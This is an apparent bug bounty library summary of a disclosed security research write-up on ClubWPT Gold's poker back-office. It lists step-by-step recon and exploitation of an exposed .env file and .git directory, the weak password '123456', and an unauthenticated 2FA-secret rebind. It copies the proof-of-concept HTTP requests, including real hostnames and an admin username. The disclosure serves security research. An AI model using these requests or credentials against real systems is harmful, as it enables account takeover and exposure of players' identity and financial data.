# Hacking the World Poker Tour: Inside ClubWPT Gold’s Back Office

Leaked .env and .git on a dev subdomain exposed admin source and hardcoded usernames; weak password plus unauthenticated 2FA rebind gave full production back-office access to player KYC/PII.

- Payout: Research
- Severity: critical
- Program: ClubWPT Gold
- Write-up by: Sam Curry
- Disclosed: 2025-10-12
- Write-up quality: 9/10
- Original: https://samcurry.net/hacking-clubwpt-gold
- Library page: https://bugbountylibrary.com/r/blog%3Asamcurry-net-hacking-clubwpt-gold
- Tags: area:web domain:web impact:ato impact:data-leak impact:pii-leak kind:research platform:research sev:critical tech:php technique:recon technique:source-review vuln:auth-bypass vuln:info-disclosure vuln:mfa-bypass vuln:secrets-leak

**Target:** PHP poker back-office admin panel (coin-admin)
**Root cause:** Dev subdomains exposed .env secrets and .git source; hardcoded admin usernames used weak password '123456', and the /admin/otp/bind endpoint was unauthenticated and let anyone overwrite a user's 2FA secret by uid.
**Steps:**
1. Find `VITE_URL_AMOE_CODE` pointing to `apigate.clubwpt.liuxinyi1.cn` in JS env vars
2. Subdomain-enumerate `liuxinyi1.cn`, grep clubwpt, find `coin-admin.clubwpt-dev.liuxinyi1.cn`
3. ffuf dir scan reveals `.env` (200) and `.git/` (301)
4. Read `.env`: `manager = jake,eg3478,mike2278,develop` plus Alibaba creds (no perms)
5. Dump source via `python3 GitHack.py https://coin-admin.clubwpt.liuxinyi1.cn/.git/`; find unauthenticated `/admin/otp/bind`
6. Brute force login: `username=eg3478&password=123456&change_timezone=PST` -> 302 to index.html on staging
7. Find production host `coin-admin.clubwptgold.com` behind Cloudflare; locate origin IP via Censys cert search
8. Same creds on origin -> 302 to 2fa.html
9. `POST /admin/otp/bind` with `uid=10009&secret=XN5XPR72SDX2U3M2` -> code 0
10. Log in with new TOTP secret, access production KYC/deposits/AMOE data
**How found:** Noticed an orphaned Chinese-domain env var in frontend JS, hypothesized outsourced dev infra, enumerated its subdomains, dir-fuzzed the admin host, and pivoted from leaked .env/.git to source review and credential reuse.
**Exploitation:** Attacker reuses leaked hardcoded admin username and weak password to authenticate, then calls the unauthenticated 2FA bind endpoint with the victim admin's uid to set an attacker-controlled TOTP secret, completing login and gaining full back-office access to player KYC, IPs, coordinates, deposits and game history.
**Escalation:** Pivoted from staging (dummy data) to production by finding the Cloudflare-fronted admin host and its origin IP via Censys certificate search, reusing the same credentials and the 2FA rebind bug.
**Insight:** Orphaned env vars in frontend bundles often point to outsourced dev infrastructure whose subdomains host staging admin panels; dir-fuzz those hosts for .env/.git, and check whether staging credentials and user IDs carry over to production origins found via certificate transparency.

## Proof of concept (copied exactly from the original report)

**Unauthenticated 2FA secret overwrite request**

```
POST /admin/otp/bind HTTP/2
Host: origin_ip_of_production_admin_panel
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Content-Length: 33

uid=10009&secret=XN5XPR72SDX2U3M2
```

**Staging admin login with weak password**

```
POST /admin/login/index.html HTTP/2
Host: coin-admin.clubwpt.liuxinyi1.cn
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:139.0) Gecko/20100101 Firefox/139.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 49

username=eg3478&password=123456&change_timezone=PST
```

**ffuf discovery of exposed .env and .git**

```
zlz@sd-156740 ~> ffufdir https://coin-admin.clubwpt.liuxinyi1.cn/FUZZ

.env [Status: 200, Size: 2264, Words: 186, Lines: 91, Duration: 6ms]
.git/ [Status: 301, Size: 221, Words: 9, Lines: 7, Duration: 11ms]
```

